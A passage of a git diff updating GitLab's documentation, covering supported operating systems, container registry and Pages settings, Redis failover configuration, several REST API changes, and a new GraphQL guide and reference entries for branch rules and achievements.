Documentation](https://about.gitlab.com/install/#opensuse-leap-15-3) | Dec 2024 | | +| SLES 12 | GitLab EE 9.0.0 | x86_64 | [Use OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap) | Oct 2027 | | +| SLES 15 | GitLab EE 14.8.0 | x86_64 | [Use OpenSUSE Install Documentation](https://about.gitlab.com/install/#opensuse-leap) | Dec 2024 | | | Oracle Linux | GitLab CE / GitLab EE 8.14.0 | x86_64 | [Use CentOS Install Documentation](https://about.gitlab.com/install/#centos-7) | Jul 2024 | | | Scientific Linux | GitLab CE / GitLab EE 8.14.0 | x86_64 | [Use CentOS Install Documentation](https://about.gitlab.com/install/#centos-7) | June 2024 | | | Ubuntu 18.04 | GitLab CE / GitLab EE 10.7.0 | amd64 | [Ubuntu Install Documentation](https://about.gitlab.com/install/#ubuntu) | April 2023 | | @@ -40,6 +41,9 @@ CentOS 8 was EOL on December 31, 2021. In GitLab 14.5 and later, We officially support all distributions that are binary compatible with Red Hat Enterprise Linux. This gives users a path forward for their CentOS 8 builds at its end of life. +NOTE: +The [CentOS major version and a minor version](https://en.wikipedia.org/wiki/CentOS#CentOS_releases) up to CentOS8 ([when CentOS Stream](https://en.wikipedia.org/wiki/CentOS#CentOS_Stream) was released) correspond to the set of major version and update versions of RHEL. + ## Update GitLab package sources after upgrading the OS After upgrading the Operating System (OS) as per its own documentation, diff --git a/doc/administration/packages/container_registry.md b/doc/administration/packages/container_registry.md index d76c728fb78..6446252e143 100644 --- a/doc/administration/packages/container_registry.md +++ b/doc/administration/packages/container_registry.md @@ -590,6 +590,13 @@ you can pull from the Container Registry, but you cannot push. #### Moving to Azure Object Storage +> The default configuration for the storage driver will be [changed](https://gitlab.com/gitlab-org/container-registry/-/issues/854) in GitLab 16.0. + + +WARNING: +The default configuration for the storage driver will be [changed](https://gitlab.com/gitlab-org/container-registry/-/issues/854) in GitLab 16.0. The storage driver will use `/` as the default root directory. You can add `trimlegacyrootprefix: false` to your current configuration now to avoid any disruptions. For more information, see the [Container Registry configuration](https://gitlab.com/gitlab-org/container-registry/-/tree/master/docs-gitlab#azure-storage-driver) documentation. + + When moving from an existing file system or another object storage provider to Azure Object Storage, you must configure the registry to use the standard root directory. This configuration is done by setting [`trimlegacyrootprefix: true]`](https://gitlab.com/gitlab-org/container-registry/-/blob/a3f64464c3ec1c5a599c0a2daa99ebcbc0100b9a/docs-gitlab/README.md#azure-storage-driver) in the Azure storage driver section of the registry configuration. Without this configuration, the Azure storage driver uses `//` instead of `/` as the first section of the root path, rendering the migrated images inaccessible. @@ -758,6 +765,8 @@ project, you can [disable it from your project's settings](../../user/project/se ## Use an external container registry with GitLab as an auth endpoint +> Support for external container registries in GitLab is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/376217) in GitLab 15.8 and will be removed in GitLab 16.0. + If you use an external container registry, some features associated with the container registry may be unavailable or have [inherent risks](../../user/packages/container_registry/reduce_container_registry_storage.md#use-with-external-container-registries). @@ -777,7 +786,7 @@ auth: Without these entries, the registry logins cannot authenticate with GitLab. GitLab also remains unaware of -[nested image names](../../user/packages/container_registry/index.md#image-naming-convention) +[nested image names](../../user/packages/container_registry/index.md#naming-convention-for-your-container-images) under the project hierarchy, like `registry.example.com/group/project/image-name:tag` or `registry.example.com/group/project/my/image-name:tag`, and only recognizes diff --git a/doc/administration/pages/index.md b/doc/administration/pages/index.md index 2a28df96ef4..58003758c8a 100644 --- a/doc/administration/pages/index.md +++ b/doc/administration/pages/index.md @@ -185,7 +185,7 @@ you must also add the full paths as shown below: 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). 1. If you're using [Pages Access Control](#access-control), update the redirect URI in the GitLab Pages -[System OAuth application](../../integration/oauth_provider.md#instance-wide-applications) +[System OAuth application](../../integration/oauth_provider.md#create-an-instance-wide-application) to use the HTTPS protocol. WARNING: @@ -384,7 +384,7 @@ then you need to also add the full paths as shown below: 1. [Reconfigure GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure). 1. If you're using [Pages Access Control](#access-control), update the redirect URI in the GitLab Pages -[System OAuth application](../../integration/oauth_provider.md#instance-wide-applications) +[System OAuth application](../../integration/oauth_provider.md#create-an-instance-wide-application) to use the HTTPS protocol. ### Custom domain verification @@ -485,7 +485,7 @@ this: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/32095) in GitLab 12.7. You can enforce [Access Control](#access-control) for all GitLab Pages websites hosted -on your GitLab instance. By doing so, only logged-in users have access to them. +on your GitLab instance. By doing so, only authenticated users have access to them. This setting overrides Access Control set by users in individual projects. This can be helpful to restrict information published with Pages websites to the users @@ -1428,7 +1428,7 @@ Once added, reconfigure with `sudo gitlab-ctl reconfigure` and restart GitLab wi You may see this error if `pages_external_url` was updated at some point of time. Verify the following: -1. The **Callback URL**/Redirect URI in the GitLab Pages [System OAuth application](../../integration/oauth_provider.md#instance-wide-applications) +1. The **Callback URL**/Redirect URI in the GitLab Pages [System OAuth application](../../integration/oauth_provider.md#create-an-instance-wide-application) is using the protocol (HTTP or HTTPS) that `pages_external_url` is configured to use. 1. The domain and path components of `Redirect URI` are valid: they should look like `projects./auth`. diff --git a/doc/administration/pages/source.md b/doc/administration/pages/source.md index e122d49a963..db76d15ec58 100644 --- a/doc/administration/pages/source.md +++ b/doc/administration/pages/source.md @@ -445,7 +445,7 @@ Pages access control is disabled by default. To enable it: ``` 1. [Restart GitLab](../restart_gitlab.md#installations-from-source). -1. Create a new [system OAuth application](../../integration/oauth_provider.md#user-owned-applications). +1. Create a new [system OAuth application](../../integration/oauth_provider.md#create-a-user-owned-application). This should be called `GitLab Pages` and have a `Redirect URL` of `https://projects.example.io/auth`. It does not need to be a "trusted" application, but it does need the `api` scope. diff --git a/doc/administration/postgresql/multiple_databases.md b/doc/administration/postgresql/multiple_databases.md index ffccbf861e7..25f148dbe84 100644 --- a/doc/administration/postgresql/multiple_databases.md +++ b/doc/administration/postgresql/multiple_databases.md @@ -118,6 +118,7 @@ the other way around. sudo gitlab-ctl start postgresql sudo -u gitlab-psql /opt/gitlab/embedded/bin/psql -h /var/opt/gitlab/postgresql -d template1 -c "CREATE DATABASE gitlabhq_production_ci OWNER gitlab;" sudo gitlab-rake db:schema:load:ci + ``` 1. Lock writes for `ci` tables in `main` database, and the other way around: diff --git a/doc/administration/raketasks/github_import.md b/doc/administration/raketasks/github_import.md index 61f6137e1ed..2e6a88a77e2 100644 --- a/doc/administration/raketasks/github_import.md +++ b/doc/administration/raketasks/github_import.md @@ -15,6 +15,11 @@ Bear in mind that the syntax is very specific. Remove any spaces in the argument before/after the brackets. Also, some shells (for example, Zsh) can interpret the open/close brackets (`[]`) separately. You may want to either escape the brackets or use double quotes. +Prerequisite: + +- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was + [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. + ## Caveats If the GitHub [rate limit](https://docs.github.com/en/rest/rate-limit) is reached while @@ -34,7 +39,7 @@ bundle exec rake "import:github[access_token,root,foo/bar]" RAILS_ENV=production In this case, `access_token` is your GitHub personal access token, `root` is your GitLab username, and `foo/bar` is the new GitLab namespace/project -created from your GitHub project. Subgroups are also possible: `foo/foo/bar`. +created from your GitHub project. Subgroups are also possible: `foo/foo/bar`. The importer creates any missing intermediate namespaces (groups) if they do not exist. ## Importing a single project diff --git a/doc/administration/redis/replication_and_failover.md b/doc/administration/redis/replication_and_failover.md index 2ba19aa6f0a..2e56884e309 100644 --- a/doc/administration/redis/replication_and_failover.md +++ b/doc/administration/redis/replication_and_failover.md @@ -324,6 +324,14 @@ Read more about [roles](https://docs.gitlab.com/omnibus/roles/). sudo touch /etc/gitlab/skip-auto-reconfigure ``` +1. Only the primary GitLab application server should handle migrations. To + prevent database migrations from running on upgrade, add the following + configuration to your `/etc/gitlab/gitlab.rb` file: + + ```ruby + gitlab_rails['auto_migrate'] = false + ``` + 1. [Reconfigure Omnibus GitLab](../restart_gitlab.md#omnibus-gitlab-reconfigure) for the changes to take effect. 1. Go through the steps again for all the other replica nodes. diff --git a/doc/administration/reference_architectures/10k_users.md b/doc/administration/reference_architectures/10k_users.md index 88913eb1f7f..bb50f66aff0 100644 --- a/doc/administration/reference_architectures/10k_users.md +++ b/doc/administration/reference_architectures/10k_users.md @@ -1855,7 +1855,7 @@ Updates to example must be made at: # Set number of Sidekiq queue processes to the same number as available CPUs sidekiq['queue_groups'] = ['*'] * 4 - # Set number of Sidekiq threads per queue process to the recommend number of 20 + # Set number of Sidekiq threads per queue process to the recommended number of 20 sidekiq['max_concurrency'] = 20 # Monitoring @@ -1986,7 +1986,7 @@ On each node perform the following: {host: '10.6.0.53', port: 26379}, ] - ## Second cluster that will host the persistent queues, shared state, and actionable + ## Second cluster that will host the persistent queues, shared state, and actioncable gitlab_rails['redis_queues_instance'] = 'redis://:@gitlab-redis-persistent' gitlab_rails['redis_shared_state_instance'] = 'redis://:@gitlab-redis-persistent' gitlab_rails['redis_actioncable_instance'] = 'redis://:@gitlab-redis-persistent' diff --git a/doc/administration/snippets/index.md b/doc/administration/snippets/index.md index 4bd03aeb8c8..613d161a64c 100644 --- a/doc/administration/snippets/index.md +++ b/doc/administration/snippets/index.md @@ -1,7 +1,7 @@ --- type: reference, howto stage: Create -group: Editor +group: Source Code info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments" --- diff --git a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md index 7c5feb24e15..0cd34ca16df 100644 --- a/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md +++ b/doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md @@ -74,7 +74,7 @@ Moved to [Geo replication troubleshooting](../geo/replication/troubleshooting.md ### Artifacts -Moved to [Geo replication troubleshooting](../geo/replication/troubleshooting.md#find-failed-artifacts). +Moved to [Geo replication troubleshooting](../geo/replication/troubleshooting.md#find-registry-records-of-blobs-that-failed-to-sync). ### Repository verification failures diff --git a/doc/api/appearance.md b/doc/api/appearance.md index 622239e7283..eb88ec5e1b3 100644 --- a/doc/api/appearance.md +++ b/doc/api/appearance.md @@ -29,8 +29,9 @@ Example response: ```json { "title": "GitLab Test Instance", - "short_title": "GitLab", + "pwa_short_name": "GitLab", "description": "gitlab-test.example.com", + "pwa_icon": "/uploads/-/system/appearance/pwa_icon/1/pwa_logo.png", "logo": "/uploads/-/system/appearance/logo/1/logo.png", "header_logo": "/uploads/-/system/appearance/header_logo/1/header.png", "favicon": "/uploads/-/system/appearance/favicon/1/favicon.png", @@ -55,8 +56,9 @@ PUT /application/appearance | Attribute | Type | Required | Description | | --------------------------------- | ------- | -------- | ----------- | | `title` | string | no | Instance title on the sign in / sign up page -| `short_title` | string | no | Short title for progressive web app +| `pwa_short_name` | string | no | Optional, short name for Progressive Web App | `description` | string | no | Markdown text shown on the sign in / sign up page +| `pwa_icon` | mixed | no | Icon used for Progressive Web App. See [Change logo](#change-logo). [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/375708) in GitLab 15.8. | `logo` | mixed | no | Instance image used on the sign in / sign up page. See [Change logo](#change-logo) | `header_logo` | mixed | no | Instance image used for the main navigation bar | `favicon` | mixed | no | Instance favicon in `.ico` or `.png` format @@ -77,8 +79,9 @@ Example response: ```json { "title": "GitLab Test Instance", - "short_title": "GitLab", + "pwa_short_name": "GitLab", "description": "gitlab-test.example.com", + "pwa_icon": "/uploads/-/system/appearance/pwa_icon/1/pwa_logo.png", "logo": "/uploads/-/system/appearance/logo/1/logo.png", "header_logo": "/uploads/-/system/appearance/header_logo/1/header.png", "favicon": "/uploads/-/system/appearance/favicon/1/favicon.png", @@ -105,9 +108,10 @@ preceded by `@`. PUT /application/appearance ``` -| Attribute | Type | Required | Description | -| --------- | ------ | -------- | -------------- | -| `logo` | mixed | Yes | File to upload | +| Attribute | Type | Required | Description | +| --------- | ------ | -------- | -------------- | +| `logo` | mixed | Yes | File to upload | +| `pwa_icon` | mixed | Yes | File to upload. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/375708) in GitLab 15.8. | Example request: @@ -123,4 +127,5 @@ Returned object: ```json { "logo":"/uploads/-/system/appearance/logo/1/logo.png" +} ``` diff --git a/doc/api/container_registry.md b/doc/api/container_registry.md index a2e4d9f37f5..b94bee210e4 100644 --- a/doc/api/container_registry.md +++ b/doc/api/container_registry.md @@ -330,7 +330,7 @@ curl --request DELETE --header "PRIVATE-TOKEN: " \ ``` This action doesn't delete blobs. To delete them and recycle disk space, -[run the garbage collection](https://docs.gitlab.com/omnibus/maintenance/index.html#removing-unused-layers-not-referenced-by-manifests). +[run the garbage collection](../administration/packages/container_registry.md#container-registry-garbage-collection). ## Delete registry repository tags in bulk @@ -369,7 +369,7 @@ if successful, and performs the following operations: These operations are executed asynchronously and can take time to get executed. You can run this at most once an hour for a given container repository. This action doesn't delete blobs. To delete them and recycle disk space, -[run the garbage collection](https://docs.gitlab.com/omnibus/maintenance/index.html#removing-unused-layers-not-referenced-by-manifests). +[run the garbage collection](../administration/packages/container_registry.md#container-registry-garbage-collection). WARNING: The number of tags deleted by this API is limited on GitLab.com diff --git a/doc/api/environments.md b/doc/api/environments.md index 89b4bb6a1de..2b67c59ae35 100644 --- a/doc/api/environments.md +++ b/doc/api/environments.md @@ -19,7 +19,7 @@ GET /projects/:id/environments | --------- | ------- | -------- |-------------------------------------------------------------------------------------------------------------------------------------------------------------| | `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | | `name` | string | no | Return the environment with this name. Mutually exclusive with `search` | -| `search` | string | no | Return list of environments matching the search criteria. Mutually exclusive with `name` | +| `search` | string | no | Return list of environments matching the search criteria. Mutually exclusive with `name`. Must be at least 3 characters long. | | `states` | string | no | List all environments that match a specific state. Accepted values: `available`, `stopping`, or `stopped`. If no state value given, returns all environments. | ```shell @@ -412,3 +412,28 @@ Example response: "updated_at": "2019-05-27T18:55:13.252Z" } ``` + +## Stop stale environments + +Issue stop request to all environments that were last modified or deployed to before a specified date. Excludes protected environments. Returns `200` if stop request was successful and `400` if the before date is invalid. For details of exactly when the environment is stopped, see [Stop an environment](../ci/environments/index.md#stop-an-environment). + +```plaintext +POST /projects/:id/environments/stop_stale +``` + +| Attribute | Type | Required | Description | +|-----------|----------------|----------|------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `before` | date | yes | Stop environments that have been modified or deployed to before the specified date. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`). Valid inputs are between 10 years ago and 1 week ago | + +```shell +curl --request POST --header "PRIVATE-TOKEN: " "https://gitlab.example.com/api/v4/projects/1/environments/stop_stale?before=10%2F10%2F2021" +``` + +Example response: + +```json +{ + "message": "Successfully requested stop for all stale environments" +} +``` diff --git a/doc/api/feature_flags.md b/doc/api/feature_flags.md index 1aec1006610..4b385a35405 100644 --- a/doc/api/feature_flags.md +++ b/doc/api/feature_flags.md @@ -211,10 +211,12 @@ PUT /projects/:id/feature_flags/:feature_flag_name | `strategies` | JSON | no | The feature flag [strategies](../operations/feature_flags.md#feature-flag-strategies). | | `strategies:id` | JSON | no | The feature flag strategy ID. | | `strategies:name` | JSON | no | The strategy name. | +| `strategies:_destroy` | boolean | no | Delete the strategy when true. | | `strategies:parameters` | JSON | no | The strategy parameters. | | `strategies:scopes` | JSON | no | The scopes for the strategy. | | `strategies:scopes:id` | JSON | no | The environment scope ID. | | `strategies:scopes:environment_scope` | string | no | The environment scope of the scope. | +| `strategies:scopes:_destroy` | boolean | no | Delete the scope when true. | ```shell curl "https://gitlab.example.com/api/v4/projects/1/feature_flags/awesome_feature" \ diff --git a/doc/api/geo_nodes.md b/doc/api/geo_nodes.md index 6b62e82f54d..5f9323016c0 100644 --- a/doc/api/geo_nodes.md +++ b/doc/api/geo_nodes.md @@ -198,22 +198,22 @@ _This can only be run against a primary Geo node._ PUT /geo_nodes/:id ``` -| Attribute | Type | Required | Description | -|-----------------------------|---------|-----------|---------------------------------------------------------------------------| -| `id` | integer | yes | The ID of the Geo node. | -| `enabled` | boolean | no | Flag indicating if the Geo node is enabled. | -| `name` | string | yes | The unique identifier for the Geo node. Must match `geo_node_name` if it is set in `gitlab.rb`, otherwise it must match `external_url`. | -| `url` | string | yes | The user-facing URL of the Geo node. | -| `internal_url` | string | no | The URL defined on the primary node that secondary nodes should use to contact it. Returns `url` if not set.| -| `files_max_capacity` | integer | no | Control the maximum concurrency of LFS/attachment backfill for this secondary node. | -| `repos_max_capacity` | integer | no | Control the maximum concurrency of repository backfill for this secondary node. | -| `verification_max_capacity` | integer | no | Control the maximum concurrency of verification for this node. | -| `container_repositories_max_capacity` | integer | no | Control the maximum concurrency of container repository sync for this node. | -| `sync_object_storage` | boolean | no | Flag indicating if the secondary Geo node should replicate blobs in Object Storage. | -| `selective_sync_type` | string | no | Limit syncing to only specific groups or shards. Valid values: `"namespaces"`, `"shards"`, or `null`. | -| `selective_sync_shards` | array | no | The repository storage for the projects synced if `selective_sync_type` == `shards`. | -| `selective_sync_namespace_ids` | array | no | The IDs of groups that should be synced, if `selective_sync_type` == `namespaces`. | -| `minimum_reverification_interval` | integer | no | The interval (in days) in which the repository verification is valid. Once expired, it is reverified. This has no effect when set on a secondary node. | +| Attribute | Type | Required | Description | +|-----------------------------|---------|---------|---------------------------------------------------------------------------| +| `id` | integer | yes | The ID of the Geo node. | +| `enabled` | boolean | no | Flag indicating if the Geo node is enabled. | +| `name` | string | no | The unique identifier for the Geo node. Must match `geo_node_name` if it is set in `gitlab.rb`, otherwise it must match `external_url`. | +| `url` | string | no | The user-facing URL of the Geo node. | +| `internal_url` | string | no | The URL defined on the primary node that secondary nodes should use to contact it. Returns `url` if not set.| +| `files_max_capacity` | integer | no | Control the maximum concurrency of LFS/attachment backfill for this secondary node. | +| `repos_max_capacity` | integer | no | Control the maximum concurrency of repository backfill for this secondary node. | +| `verification_max_capacity` | integer | no | Control the maximum concurrency of verification for this node. | +| `container_repositories_max_capacity` | integer | no | Control the maximum concurrency of container repository sync for this node. | +| `sync_object_storage` | boolean | no | Flag indicating if the secondary Geo node should replicate blobs in Object Storage. | +| `selective_sync_type` | string | no | Limit syncing to only specific groups or shards. Valid values: `"namespaces"`, `"shards"`, or `null`. | +| `selective_sync_shards` | array | no | The repository storage for the projects synced if `selective_sync_type` == `shards`. | +| `selective_sync_namespace_ids` | array | no | The IDs of groups that should be synced, if `selective_sync_type` == `namespaces`. | +| `minimum_reverification_interval` | integer | no | The interval (in days) in which the repository verification is valid. Once expired, it is reverified. This has no effect when set on a secondary node. | Example response: @@ -255,9 +255,6 @@ in GitLab 14.9. Removes the Geo node. -NOTE: -Only a Geo primary node accepts this request. - ```plaintext DELETE /geo_nodes/:id ``` diff --git a/doc/api/graphql/audit_report.md b/doc/api/graphql/audit_report.md index 5529f0b872a..bad6a7a1e83 100644 --- a/doc/api/graphql/audit_report.md +++ b/doc/api/graphql/audit_report.md @@ -111,7 +111,7 @@ a single integer. This GraphQL query returns the groups and projects that the user has been *explicitly* made a member of. Since the GraphiQL explorer uses the session token to authorize access to resources, -the output is limited to the projects and groups accessible to the currently signed-in user. +the output is limited to the projects and groups accessible to the currently authenticated user. If you've signed in as an instance administrator, you would have access to all records, regardless of ownership. diff --git a/doc/api/graphql/branch_rules.md b/doc/api/graphql/branch_rules.md new file mode 100644 index 00000000000..c38ebd673d0 --- /dev/null +++ b/doc/api/graphql/branch_rules.md @@ -0,0 +1,137 @@ +--- +stage: Create +group: Source Code +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments +--- + +# List branch rules for a project **(FREE)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106954) in GitLab 15.8. + +This guide demonstrates how to use [GraphiQL explorer](getting_started.md#graphiql) +to query for branch rules in a given project. + +The [example query](#set-up-the-graphiql-explorer) looks for a project in a +GitLab instance either by its full path for example `gitlab-org/gitlab-docs`. +In the query we request all configured branch rules for a project. + +NOTE: +You can run the same query directly via a HTTP endpoint, using `cURL`. For more +information, see our guidance on getting started from the +[command line](getting_started.md#command-line). + +## Set up the GraphiQL explorer + +This procedure presents a substantive example that you can copy and paste into your own +instance of the [GraphiQL explorer](https://gitlab.com/-/graphql-explorer): + +1. Copy the following code excerpt: + + ```graphql + query { + project(fullPath: "gitlab-org/gitlab-docs") { + branchRules { + nodes { + name + isDefault + isProtected + matchingBranchesCount + createdAt + updatedAt + branchProtection { + allowForcePush + codeOwnerApprovalRequired + mergeAccessLevels { + nodes { + accessLevel + accessLevelDescription + user { + name + } + group { + name + } + } + } + pushAccessLevels { + nodes { + accessLevel + accessLevelDescription + user { + name + } + group { + name + } + } + } + unprotectAccessLevels { + nodes { + accessLevel + accessLevelDescription + user { + name + } + group { + name + } + } + } + } + externalStatusChecks { + nodes { + id + name + externalUrl + } + } + approvalRules { + nodes { + id + name + type + approvalsRequired + eligibleApprovers { + nodes { + name + } + } + } + } + } + } + } + } + ``` + +1. Open the [GraphiQL explorer tool](https://gitlab.com/-/graphql-explorer). +1. Paste the `query` listed above into the left window of your GraphiQL explorer tool. +1. Select **Play** to get this result: + + ![GraphiQL explorer query for branch rules](img/list_branch_rules_query_example_v15_8.png) + +If no branch rules are displayed, it may be because: + +- No branch rules are configured. +- Your role doesn't have permission to view branch rules. Administrators have access to all records. + +## Run the query in the GDK + +Instead of requesting access, it may be easier for you to run the query in the +[GitLab Development Kit (GDK)](https://gitlab.com/gitlab-org/gitlab-development-kit). + +1. Sign in as the default admin, `root`, with the credentials from + [the GDK documentation](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/doc/gdk_commands.md#get-the-login-credentials). +1. Ensure you have some branch rules configured for the `flightjs/Flight` project. +1. Replace the full path in the query: + + ```graphql + query { + project(fullPath: "flightjs/Flight") { + ``` + +1. Visit the [GraphiQL explorer tool](http://gdk.test:3000/-/graphql-explorer) for your GDK instance. +1. Paste the `query` listed above into the left window of your GraphiQL explorer tool. +1. Select **Play** to view the result. + +For more information on each field, see the [GraphQL API Resources](reference/index.md). diff --git a/doc/api/graphql/getting_started.md b/doc/api/graphql/getting_started.md index 1945f528d67..9f423d68d3b 100644 --- a/doc/api/graphql/getting_started.md +++ b/doc/api/graphql/getting_started.md @@ -110,7 +110,7 @@ which is an object identifier in the format of `"gid://gitlab/Issue/123"`. [GitLab GraphQL Schema](reference/index.md) outlines which objects and fields are available for clients to query and their corresponding data types. -Example: Get only the names of all the projects the currently logged in user can +Example: Get only the names of all the projects the currently authenticated user can access (up to a limit) in the group `gitlab-org`. ```graphql @@ -172,7 +172,7 @@ More about queries: Authorization uses the same engine as the GitLab application (and GitLab.com). If you've signed in to GitLab and use GraphiQL, all queries are performed as -you, the signed in user. For more information, read the +you, the authenticated user. For more information, read the [GitLab API documentation](../index.md#authentication). ### Mutations diff --git a/doc/api/graphql/img/list_branch_rules_query_example_v15_8.png b/doc/api/graphql/img/list_branch_rules_query_example_v15_8.png new file mode 100644 index 00000000000..c407329c6bf Binary files /dev/null and b/doc/api/graphql/img/list_branch_rules_query_example_v15_8.png differ diff --git a/doc/api/graphql/index.md b/doc/api/graphql/index.md index 0ae6013df80..320e7cbcfc1 100644 --- a/doc/api/graphql/index.md +++ b/doc/api/graphql/index.md @@ -144,10 +144,10 @@ Query | Description `group` | Basic group information and epics. `user` | Information about a particular user. `namespace` | The namespace and the `projects` in it. -`currentUser` | Information about the signed-in user. +`currentUser` | Information about the authenticated user. `users` | Information about a collection of users. `metaData` | Metadata about GitLab and the GraphQL API. -`snippets` | Snippets visible to the signed-in user. +`snippets` | Snippets visible to the authenticated user. New associations and root level objects are regularly added. See the [GraphQL API Reference](reference/index.md) for up-to-date information. diff --git a/doc/api/graphql/reference/index.md b/doc/api/graphql/reference/index.md index a3d4458bb6c..4bd7702474f 100644 --- a/doc/api/graphql/reference/index.md +++ b/doc/api/graphql/reference/index.md @@ -216,7 +216,7 @@ Returns [`Issue`](#issue). ### `Query.issues` -Issues visible by the current user. Returns null if the `root_level_issues_query` feature flag is disabled. +Find issues visible to the current user. At least one filter must be provided. Returns `null` if the `root_level_issues_query` feature flag is disabled. WARNING: **Introduced** in 15.6. @@ -505,6 +505,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | `endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. | | `groupId` | [`GroupID`](#groupid) | List timelogs for a group. | | `projectId` | [`ProjectID`](#projectid) | List timelogs for a project. | +| `sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. | | `startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. | | `startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | `username` | [`String`](#string) | List timelogs for a user. | @@ -679,6 +680,29 @@ mutation($id: NoteableID!, $body: String!) { } ``` +### `Mutation.achievementsCreate` + +Input type: `AchievementsCreateInput` + +#### Arguments + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `avatar` | [`Upload`](#upload) | Avatar for the achievement. | +| `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| `description` | [`String`](#string) | Description of or notes for the achievement. | +| `name` | [`String!`](#string) | Name for the achievement. | +| `namespaceId` | [`NamespaceID!`](#namespaceid) | Namespace for the achievement. | +| `revokeable` | [`Boolean!`](#boolean) | Revokeability for the achievement. | + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `achievement` | [`Achievement`](#achievement) | Achievement created. | +| `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | +| `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | + ### `Mutation.addProjectToSecurityDashboard` Input type: `AddProjectToSecurityDashboardInput` @@ -1121,7 +1145,7 @@ Input type: `CiCdSettingsUpdateInput` | `fullPath` | [`ID!`](#id) | Full Path of the project the settings belong to. | | `inboundJobTokenScopeEnabled` | [`Boolean`](#boolean) | Indicates CI/CD job tokens generated in other projects have restricted access to this project. | | `jobTokenScopeEnabled` | [`Boolean`](#boolean) | Indicates CI/CD job tokens generated in this project have restricted access to other projects. | -| `keepLatestArtifact` | [`Boolean`](#boolean) | Indicates if the latest artifact should be kept for this project. | +| `keepLatestArtifact` | [`Boolean`](#boolean) | Indicates if the latest artifact should be kept for the project. | | `mergePipelinesEnabled` | [`Boolean`](#boolean) | Indicates if merge pipelines are enabled for the project. | | `mergeTrainsEnabled` | [`Boolean`](#boolean) | Indicates if merge trains are enabled for the project. | @@ -1505,7 +1529,7 @@ Input type: `CreateClusterAgentInput` | ---- | ---- | ----------- | | `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | `name` | [`String!`](#string) | Name of the cluster agent. | -| `projectPath` | [`ID!`](#id) | Full path of the associated project for this cluster agent. | +| `projectPath` | [`ID!`](#id) | Full path of the associated project for the cluster agent. | #### Fields @@ -1722,7 +1746,7 @@ Input type: `CreateNoteInput` | `body` | [`String!`](#string) | Content of the note. | | `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | `confidential` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated:** This was renamed. Please use `internal`. Deprecated in 15.3. | -| `discussionId` | [`DiscussionID`](#discussionid) | Global ID of the discussion this note is in reply to. | +| `discussionId` | [`DiscussionID`](#discussionid) | Global ID of the discussion the note is in reply to. | | `internal` | [`Boolean`](#boolean) | Internal flag for a note. Default is false. | | `mergeRequestDiffHeadSha` | [`String`](#string) | SHA of the head commit which is used to ensure that the merge request has not been updated since the request was sent. | | `noteableId` | [`NoteableID!`](#noteableid) | Global ID of the resource to add a note to. | @@ -2026,6 +2050,7 @@ Input type: `DastScannerProfileCreateInput` | `scanType` | [`DastScanTypeEnum`](#dastscantypeenum) | Indicates the type of DAST scan that will run. Either a Passive Scan or an Active Scan. | | `showDebugMessages` | [`Boolean`](#boolean) | Indicates if debug messages should be included in DAST console output. True to include the debug messages. | | `spiderTimeout` | [`Int`](#int) | Maximum number of minutes allowed for the spider to traverse the site. | +| `tagList` | [`[String!]`](#string) | Indicates the runner tags associated with the scanner profile. | | `targetTimeout` | [`Int`](#int) | Maximum number of seconds allowed for the site under test to respond to a request. | | `useAjaxSpider` | [`Boolean`](#boolean) | Indicates if the AJAX spider should be used to crawl the target site. True to run the AJAX spider in addition to the traditional spider, and false to run only the traditional spider. | @@ -2072,6 +2097,7 @@ Input type: `DastScannerProfileUpdateInput` | `scanType` | [`DastScanTypeEnum`](#dastscantypeenum) | Indicates the type of DAST scan that will run. Either a Passive Scan or an Active Scan. | | `showDebugMessages` | [`Boolean`](#boolean) | Indicates if debug messages should be included in DAST console output. True to include the debug messages. | | `spiderTimeout` | [`Int!`](#int) | Maximum number of minutes allowed for the spider to traverse the site. | +| `tagList` | [`[String!]`](#string) | Indicates the runner tags associated with the scanner profile. | | `targetTimeout` | [`Int!`](#int) | Maximum number of seconds allowed for the site under test to respond to a request. | | `useAjaxSpider` | [`Boolean`](#boolean) | Indicates if the AJAX spider should be used to crawl the target site. True to run the AJAX spider in addition to the traditional spider, and false to run only the traditional spider. | @@ -3006,6 +3032,28 @@ Input type: `GitlabSubscriptionActivateInput` | `futureSubscriptions` | [`[SubscriptionFutureEntry!]`](#subscriptionfutureentry) | Array of future subscriptions. | | `license` | [`CurrentLicense`](#currentlicense) | Current license. | +### `Mutation.groupMemberBulkUpdate` + 